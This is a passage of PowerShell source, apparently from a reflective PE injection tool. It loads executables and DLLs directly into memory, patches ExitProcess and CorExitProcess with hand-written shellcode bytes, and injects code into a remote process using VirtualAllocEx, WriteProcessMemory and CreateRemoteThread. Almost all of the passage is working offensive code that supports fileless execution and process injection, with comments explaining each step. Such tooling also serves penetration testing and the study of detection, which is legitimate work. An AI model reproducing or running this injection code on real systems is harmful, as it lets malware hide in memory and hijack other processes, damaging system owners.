  1973.                 $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1974.                 if ($Success = $false)
  1975.                 {
  1976.                     throw "Call to VirtualProtect failed"
  1977.                 }
  1978.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
  1979.                 $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1980.             }
  1981.         }
  1982.         #################################################
  1983.        
  1984.        
  1985.         #################################################
  1986.         #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
  1987.  
  1988.         $ReturnArray = @()
  1989.         $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
  1990.        
  1991.         #CorExitProcess (compiled in to visual studio c++)
  1992.         [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
  1993.         if ($MscoreeHandle -eq [IntPtr]::Zero)
  1994.         {
  1995.             throw "mscoree handle null"
  1996.         }
  1997.         [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
  1998.         if ($CorExitProcessAddr -eq [IntPtr]::Zero)
  1999.         {
  2000.             Throw "CorExitProcess address not found"
  2001.         }
  2002.         $ExitFunctions += $CorExitProcessAddr
  2003.        
  2004.         #ExitProcess (what non-managed programs use)
  2005.         [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
  2006.         if ($ExitProcessAddr -eq [IntPtr]::Zero)
  2007.         {
  2008.             Throw "ExitProcess address not found"
  2009.         }
  2010.         $ExitFunctions += $ExitProcessAddr
  2011.        
  2012.         [UInt32]$OldProtectFlag = 0
  2013.         foreach ($ProcExitFunctionAddr in $ExitFunctions)
  2014.         {
  2015.             $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
  2016.             #The following is the shellcode (Shellcode: ExitThread.asm):
  2017.             #32bit shellcode
  2018.             [Byte[]]$Shellcode1 = @(0xbb)
  2019.             [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
  2020.             #64bit shellcode (Shellcode: ExitThread.asm)
  2021.             if ($PtrSize -eq 8)
  2022.             {
  2023.                 [Byte[]]$Shellcode1 = @(0x48, 0xbb)
  2024.                 [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
  2025.             }
  2026.             [Byte[]]$Shellcode3 = @(0xff, 0xd3)
  2027.             $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
  2028.            
  2029.             [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
  2030.             if ($ExitThreadAddr -eq [IntPtr]::Zero)
  2031.             {
  2032.                 Throw "ExitThread address not found"
  2033.             }
  2034.  
  2035.             $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  2036.             if ($Success -eq $false)
  2037.             {
  2038.                 Throw "Call to VirtualProtect failed"
  2039.             }
  2040.            
  2041.             #Make copy of original ExitProcess bytes
  2042.             $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  2043.             $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
  2044.             $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
  2045.            
  2046.             #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
  2047.             #   call ExitThread
  2048.             Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
  2049.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
  2050.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
  2051.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  2052.             Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
  2053.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
  2054.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
  2055.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  2056.             Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
  2057.  
  2058.             $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  2059.         }
  2060.         #################################################
  2061.  
  2062.         Write-Output $ReturnArray
  2063.     }
  2064.    
  2065.    
  2066.     #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
  2067.     #   It copies Count bytes from Source to Destination.
  2068.     Function Copy-ArrayOfMemAddresses
  2069.     {
  2070.         Param(
  2071.         [Parameter(Position = 0, Mandatory = $true)]
  2072.         [Array[]]
  2073.         $CopyInfo,
  2074.        
  2075.         [Parameter(Position = 1, Mandatory = $true)]
  2076.         [System.Object]
  2077.         $Win32Functions,
  2078.        
  2079.         [Parameter(Position = 2, Mandatory = $true)]
  2080.         [System.Object]
  2081.         $Win32Constants
  2082.         )
  2083.  
  2084.         [UInt32]$OldProtectFlag = 0
  2085.         foreach ($Info in $CopyInfo)
  2086.         {
  2087.             $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  2088.             if ($Success -eq $false)
  2089.             {
  2090.                 Throw "Call to VirtualProtect failed"
  2091.             }
  2092.            
  2093.             $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
  2094.            
  2095.             $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  2096.         }
  2097.     }
  2098.  
  2099.  
  2100.     #####################################
  2101.     ##########    FUNCTIONS   ###########
  2102.     #####################################
  2103.     Function Get-MemoryProcAddress
  2104.     {
  2105.         Param(
  2106.         [Parameter(Position = 0, Mandatory = $true)]
  2107.         [IntPtr]
  2108.         $PEHandle,
  2109.        
  2110.         [Parameter(Position = 1, Mandatory = $true)]
  2111.         [String]
  2112.         $FunctionName
  2113.         )
  2114.        
  2115.         $Win32Types = Get-Win32Types
  2116.         $Win32Constants = Get-Win32Constants
  2117.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2118.        
  2119.         #Get the export table
  2120.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
  2121.         {
  2122.             return [IntPtr]::Zero
  2123.         }
  2124.         $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
  2125.         $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
  2126.        
  2127.         for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
  2128.         {
  2129.             #AddressOfNames is an array of pointers to strings of the names of the functions exported
  2130.             $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2131.             $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
  2132.             $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
  2133.  
  2134.             if ($Name -ceq $FunctionName)
  2135.             {
  2136.                 #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
  2137.                 #    which contains the offset of the function in to the DLL
  2138.                 $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
  2139.                 $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
  2140.                 $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2141.                 $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
  2142.                 return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
  2143.             }
  2144.         }
  2145.        
  2146.         return [IntPtr]::Zero
  2147.     }
  2148.  
  2149.  
  2150.     Function Invoke-MemoryLoadLibrary
  2151.     {
  2152.         Param(
  2153.         [Parameter( Position = 0, Mandatory = $true )]
  2154.         [Byte[]]
  2155.         $PEBytes,
  2156.        
  2157.         [Parameter(Position = 1, Mandatory = $false)]
  2158.         [String]
  2159.         $ExeArgs,
  2160.        
  2161.         [Parameter(Position = 2, Mandatory = $false)]
  2162.         [IntPtr]
  2163.         $RemoteProcHandle,
  2164.  
  2165.         [Parameter(Position = 3)]
  2166.         [Bool]
  2167.         $ForceASLR = $false
  2168.         )
  2169.        
  2170.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  2171.        
  2172.         #Get Win32 constants and functions
  2173.         $Win32Constants = Get-Win32Constants
  2174.         $Win32Functions = Get-Win32Functions
  2175.         $Win32Types = Get-Win32Types
  2176.        
  2177.         $RemoteLoading = $false
  2178.         if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2179.         {
  2180.             $RemoteLoading = $true
  2181.         }
  2182.        
  2183.         #Get basic PE information
  2184.         Write-Verbose "Getting basic PE information from the file"
  2185.         $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
  2186.         $OriginalImageBase = $PEInfo.OriginalImageBase
  2187.         $NXCompatible = $true
  2188.         if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
  2189.         {
  2190.             Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
  2191.             $NXCompatible = $false
  2192.         }
  2193.        
  2194.        
  2195.         #Verify that the PE and the current process are the same bits (32bit or 64bit)
  2196.         $Process64Bit = $true
  2197.         if ($RemoteLoading -eq $true)
  2198.         {
  2199.             $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  2200.             $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
  2201.             if ($Result -eq [IntPtr]::Zero)
  2202.             {
  2203.                 Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
  2204.             }
  2205.            
  2206.             [Bool]$Wow64Process = $false
  2207.             $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
  2208.             if ($Success -eq $false)
  2209.             {
  2210.                 Throw "Call to IsWow64Process failed"
  2211.             }
  2212.            
  2213.             if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
  2214.             {
  2215.                 $Process64Bit = $false
  2216.             }
  2217.            
  2218.             #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
  2219.             $PowerShell64Bit = $true
  2220.             if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2221.             {
  2222.                 $PowerShell64Bit = $false
  2223.             }
  2224.             if ($PowerShell64Bit -ne $Process64Bit)
  2225.             {
  2226.                 throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
  2227.             }
  2228.         }
  2229.         else
  2230.         {
  2231.             if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2232.             {
  2233.                 $Process64Bit = $false
  2234.             }
  2235.         }
  2236.         if ($Process64Bit -ne $PEInfo.PE64Bit)
  2237.         {
  2238.             Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
  2239.         }
  2240.        
  2241.  
  2242.         #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
  2243.         Write-Verbose "Allocating memory for the PE and write its headers to memory"
  2244.        
  2245.         #ASLR check
  2246.         [IntPtr]$LoadAddr = [IntPtr]::Zero
  2247.         $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
  2248.         if ((-not $ForceASLR) -and (-not $PESupportsASLR))
  2249.         {
  2250.             Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
  2251.             [IntPtr]$LoadAddr = $OriginalImageBase
  2252.         }
  2253.         elseif ($ForceASLR -and (-not $PESupportsASLR))
  2254.         {
  2255.             Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
  2256.         }
  2257.  
  2258.         if ($ForceASLR -and $RemoteLoading)
  2259.         {
  2260.             Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
  2261.         }
  2262.         if ($RemoteLoading -and (-not $PESupportsASLR))
  2263.         {
  2264.             Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
  2265.         }
  2266.  
  2267.         $PEHandle = [IntPtr]::Zero              #This is where the PE is allocated in PowerShell
  2268.         $EffectivePEHandle = [IntPtr]::Zero     #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
  2269.         if ($RemoteLoading -eq $true)
  2270.         {
  2271.             #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
  2272.             $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2273.            
  2274.             #todo, error handling needs to delete this memory if an error happens along the way
  2275.             $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2276.             if ($EffectivePEHandle -eq [IntPtr]::Zero)
  2277.             {
  2278.                 Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
  2279.             }
  2280.         }
  2281.         else
  2282.         {
  2283.             if ($NXCompatible -eq $true)
  2284.             {
  2285.                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2286.             }
  2287.             else
  2288.             {
  2289.                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2290.             }
  2291.             $EffectivePEHandle = $PEHandle
  2292.         }
  2293.        
  2294.         [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
  2295.         if ($PEHandle -eq [IntPtr]::Zero)
  2296.         {
  2297.             Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
  2298.         }      
  2299.         [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
  2300.        
  2301.        
  2302.         #Now that the PE is in memory, get more detailed information about it
  2303.         Write-Verbose "Getting detailed PE information from the headers loaded in memory"
  2304.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2305.         $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
  2306.         $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
  2307.         Write-Verbose "StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress)"
  2308.        
  2309.        
  2310.         #Copy each section from the PE in to memory
  2311.         Write-Verbose "Copy PE sections in to memory"
  2312.         Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
  2313.        
  2314.        
  2315.         #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
  2316.         Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
  2317.         Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
  2318.  
  2319.        
  2320.         #The PE we are in-memory loading has DLLs it needs, import those DLLs for it
  2321.         Write-Verbose "Import DLL's needed by the PE we are loading"
  2322.         if ($RemoteLoading -eq $true)
  2323.         {
  2324.             Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
  2325.         }
  2326.         else
  2327.         {
  2328.             Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
  2329.         }
  2330.        
  2331.        
  2332.         #Update the memory protection flags for all the memory just allocated
  2333.         if ($RemoteLoading -eq $false)
  2334.         {
  2335.             if ($NXCompatible -eq $true)
  2336.             {
  2337.                 Write-Verbose "Update memory protection flags"
  2338.                 Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
  2339.             }
  2340.             else
  2341.             {
  2342.                 Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
  2343.             }
  2344.         }
  2345.         else
  2346.         {
  2347.             Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
  2348.         }
  2349.        
  2350.        
  2351.         #If remote loading, copy the DLL in to remote process memory
  2352.         if ($RemoteLoading -eq $true)
  2353.         {
  2354.             [UInt32]$NumBytesWritten = 0
  2355.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
  2356.             if ($Success -eq $false)
  2357.             {
  2358.                 Throw "Unable to write shellcode to remote process memory."
  2359.             }
  2360.         }
  2361.        
  2362.        
  2363.         #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
  2364.         if ($PEInfo.FileType -ieq "DLL")
  2365.         {
  2366.             if ($RemoteLoading -eq $false)
  2367.             {
  2368.                 Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
  2369.                 $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2370.                 $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2371.                 $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2372.                
  2373.                 $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
  2374.             }
  2375.             else
  2376.             {
  2377.                 $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2378.            
  2379.                 if ($PEInfo.PE64Bit -eq $true)
  2380.                 {
  2381.                     #Shellcode: CallDllMain.asm
  2382.                     $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
  2383.                     $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
  2384.                     $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  2385.                 }
  2386.                 else
  2387.                 {
  2388.                     #Shellcode: CallDllMain.asm
  2389.                     $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
  2390.                     $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
  2391.                     $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
  2392.                 }
  2393.                 $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
  2394.                 $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  2395.                 $SCPSMemOriginal = $SCPSMem
  2396.                
  2397.                 Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
  2398.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
  2399.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
  2400.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2401.                 Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
  2402.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
  2403.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
  2404.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2405.                 Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
  2406.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
  2407.                
  2408.                 $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2409.                 if ($RSCAddr -eq [IntPtr]::Zero)
  2410.                 {
  2411.                     Throw "Unable to allocate memory in the remote process for shellcode"
  2412.                 }
  2413.                
  2414.                 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  2415.                 if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  2416.                 {
  2417.                     Throw "Unable to write shellcode to remote process memory."
  2418.                 }
  2419.  
  2420.                 $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  2421.                 $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  2422.                 if ($Result -ne 0)
  2423.                 {
  2424.                     Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  2425.                 }
  2426.                
  2427.                 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  2428.             }
  2429.         }
  2430.         elseif ($PEInfo.FileType -ieq "EXE")
  2431.         {
  2432.             #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
  2433.             [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
  2434.             [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
  2435.             $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
  2436.  
  2437.             #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
  2438.             #   This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
  2439.             [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2440.             Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
  2441.  
  2442.             $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
  2443.  
  2444.             while($true)
  2445.             {
  2446.                 [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
  2447.                 if ($ThreadDone -eq 1)
  2448.                 {
  2449.                     Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
  2450.                     Write-Verbose "EXE thread has completed."
  2451.                     break
  2452.                 }
  2453.                 else
  2454.                 {
  2455.                     Start-Sleep -Seconds 1
  2456.                 }
  2457.             }
  2458.         }
  2459.        
  2460.         return @($PEInfo.PEHandle, $EffectivePEHandle)
  2461.     }
  2462.    
  2463.    
  2464.     Function Invoke-MemoryFreeLibrary
  2465.     {
  2466.         Param(
  2467.         [Parameter(Position=0, Mandatory=$true)]
  2468.         [IntPtr]
  2469.         $PEHandle
  2470.         )
  2471.        
  2472.         #Get Win32 constants and functions
  2473.         $Win32Constants = Get-Win32Constants
  2474.         $Win32Functions = Get-Win32Functions
  2475.         $Win32Types = Get-Win32Types
  2476.        
  2477.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2478.        
  2479.         #Call FreeLibrary for all the imports of the DLL
  2480.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  2481.         {
  2482.             [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  2483.            
  2484.             while ($true)
  2485.             {
  2486.                 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  2487.                
  2488.                 #If the structure is null, it signals that this is the end of the array
  2489.                 if ($ImportDescriptor.Characteristics -eq 0 `
  2490.                         -and $ImportDescriptor.FirstThunk -eq 0 `
  2491.                         -and $ImportDescriptor.ForwarderChain -eq 0 `
  2492.                         -and $ImportDescriptor.Name -eq 0 `
  2493.                         -and $ImportDescriptor.TimeDateStamp -eq 0)
  2494.                 {
  2495.                     Write-Verbose "Done unloading the libraries needed by the PE"
  2496.                     break
  2497.                 }
  2498.  
  2499.                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
  2500.                 $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
  2501.  
  2502.                 if ($ImportDllHandle -eq $null)
  2503.                 {
  2504.                     Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
  2505.                 }
  2506.                
  2507.                 $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
  2508.                 if ($Success -eq $false)
  2509.                 {
  2510.                     Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
  2511.                 }
  2512.                
  2513.                 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  2514.             }
  2515.         }
  2516.        
  2517.         #Call DllMain with process detach
  2518.         Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
